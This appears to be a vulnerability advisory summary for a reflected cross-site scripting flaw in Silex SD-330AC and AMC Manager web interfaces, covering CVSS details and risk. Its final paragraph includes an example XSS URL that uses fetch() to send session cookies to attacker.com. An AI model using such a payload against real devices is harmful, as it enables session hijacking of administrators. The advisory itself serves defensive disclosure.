Amc Manager EUVD-2026-23756

The user must be authenticated (logged in) to the SD-330AC or AMC Manager web interface at the time they visit the malicious page. The attacker has no network authentication requirement (PR:N per CVSS), meaning they can send the malicious URL from any network location, but exploitation succeeds only when an already-authenticated user clicks the link. User interaction (UI:R) is mandatory-the victim must navigate to or be redirected to the crafted URL. The vulnerability does not require any non-default configuration; it affects standard deployments of both products. The reflected nature means each attack targets a single user session and does not persist across page reloads or new sessions.

CVSS 6.1 with network vector (AV:N), low complexity (AC:L), and required user interaction (UI:R) indicates moderate real-world risk. The lack of authentication requirement (PR:N) in the CVSS vector is somewhat misleading-the description explicitly states users must be logged in to the affected device, suggesting the vulnerability exists only within the authenticated session context. The changed scope (S:C) indicates potential impact beyond the vulnerable component itself, raising the impact from low to medium for confidentiality and integrity. EPSS probability, KEV status, and public exploit availability are not provided, limiting assessment of active exploitation likelihood. The primary limiting factor is the requirement for user interaction (UI:R) combined with the implicit need for the target user to be already authenticated and to visit an attacker-controlled or attacker-modified web page. This reduces the likelihood of mass exploitation but creates meaningful risk for targeted attacks against administrators managing these devices. Organizations operating Silex SD-330AC or AMC Manager should treat this as a medium-priority issue pending vendor patch confirmation.

An attacker crafts a malicious URL containing JavaScript payload-for example, 'http://[device-ip]/admin?search=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>'-and sends it to an administrator known to manage the SD-330AC or AMC Manager. When the authenticated administrator clicks the link in email or chat, the crafted parameter is reflected in the page response, executing the attacker's script in the administrator's browser, stealing session cookies or performing unauthorized actions. No public proof-of-concept is referenced in the available data.